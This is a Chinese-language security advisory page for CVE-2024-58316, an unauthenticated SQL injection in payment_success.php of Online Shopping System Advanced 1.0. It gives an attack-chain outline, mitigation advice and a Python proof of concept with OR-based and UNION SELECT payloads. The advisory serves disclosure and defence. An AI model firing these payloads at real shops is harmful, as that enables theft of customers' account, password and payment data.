IPBUF安全漏洞报告
English
CVE-2024-58316 CVSS 7.5 高危

CVE-2024-58316 Online Shopping System SQL注入漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2024-58316
漏洞类型
SQL注入
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Online Shopping System Advanced 1.0

相关标签

SQL注入Online Shopping SystemCVE-2024-58316高危漏洞无需认证支付模块数据库泄露Web应用安全

漏洞概述

Online Shopping System Advanced 1.0是一款在线购物系统,该系统存在严重的SQL注入漏洞。漏洞位于payment_success.php脚本中,由于对用户传入的'cm'参数缺乏有效的过滤和验证,攻击者可以注入恶意SQL语句。该漏洞无需任何认证即可被利用,攻击者可以通过构造特殊的SQL查询语句,直接从数据库中获取敏感信息,包括用户账户、密码、订单数据、支付信息等。由于该参数直接影响数据库查询,攻击者还可能通过UNION SELECT等技术获取数据库管理员权限或系统文件内容,严重威胁系统数据安全和用户隐私。

技术细节

漏洞根源在于payment_success.php脚本对'cm'参数的直接使用,未经任何输入过滤或参数化查询处理。攻击者可通过在'cm'参数中注入SQL语句,如使用UNION SELECT子句联合查询其他表,或使用布尔盲注、时间盲注等技术提取数据。由于参数直接拼接到SQL查询语句中,恶意SQL代码会被数据库执行。典型的攻击payload包括:使用单引号触发SQL错误、使用UNION语句获取其他表数据、使用SUBSTRING等函数进行数据提取。建议使用预编译语句(Prepared Statements)和参数化查询来修复此漏洞,同时对用户输入进行严格的输入验证和白名单过滤。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的Online Shopping System Advanced 1.0版本,确定payment_success.php脚本存在
STEP 2
步骤2: 漏洞探测
攻击者向payment_success.php的'cm'参数发送测试payload,验证SQL注入漏洞是否存在
STEP 3
步骤3: 构造恶意请求
攻击者构造包含SQL注入代码的HTTP请求,通过'cm'参数注入UNION SELECT或其他SQL语句
STEP 4
步骤4: 数据提取
利用UNION注入或盲注技术,从数据库中提取敏感信息如用户数据、密码哈希、订单信息等
STEP 5
步骤5: 权限提升
如可能,攻击者进一步利用获取的信息进行横向移动或获取数据库管理员权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2024-58316 SQL Injection PoC # Target: Online Shopping System Advanced 1.0 # Vulnerability: payment_success.php 'cm' parameter import requests import sys target_url = "http://target.com/payment_success.php" # Basic SQL Injection test - detect vulnerability def test_sql_injection(): # Normal request normal_params = {"cm": "12345"} # SQL Injection payload - triggers database error payload_params = {"cm": "12345' OR '1'='1"} try: print(f"[*] Testing target: {target_url}") # Test normal request response1 = requests.get(target_url, params=normal_params, timeout=10) print(f"[+] Normal request status: {response1.status_code}") # Test malicious request response2 = requests.get(target_url, params=payload_params, timeout=10) print(f"[+] Malicious request status: {response2.status_code}") # Check for SQL error indicators if "sql" in response2.text.lower() or "mysql" in response2.text.lower() or "syntax" in response2.text.lower(): print("[!] SQL Injection vulnerability confirmed!") return True else: print("[-] Vulnerability not detected via error-based method") return False except requests.RequestException as e: print(f"[-] Request failed: {e}") return False # Extract data using UNION-based injection def extract_database_info(): # UNION-based payload to extract database version and user payload = "12345' UNION SELECT 1,version(),user(),database(),5,6,7,8,9,10-- -" params = {"cm": payload} try: response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Database info extraction response received") # Parse response to extract database details return response.text except requests.RequestException as e: print(f"[-] Extraction failed: {e}") return None if __name__ == "__main__": print("=" * 60) print("CVE-2024-58316 SQL Injection Exploitation") print("=" * 60) if test_sql_injection(): print("\n[*] Attempting data extraction...") extract_database_info()

影响范围

Online Shopping System Advanced 1.0

防御指南

临时缓解措施
在修复代码前,可通过Web应用防火墙暂时阻断对payment_success.php的访问,或对'cm'参数进行严格的输入过滤,临时阻止特殊字符如单引号、分号等的传入。同时建议禁用详细的数据库错误信息返回,避免泄露数据库结构信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表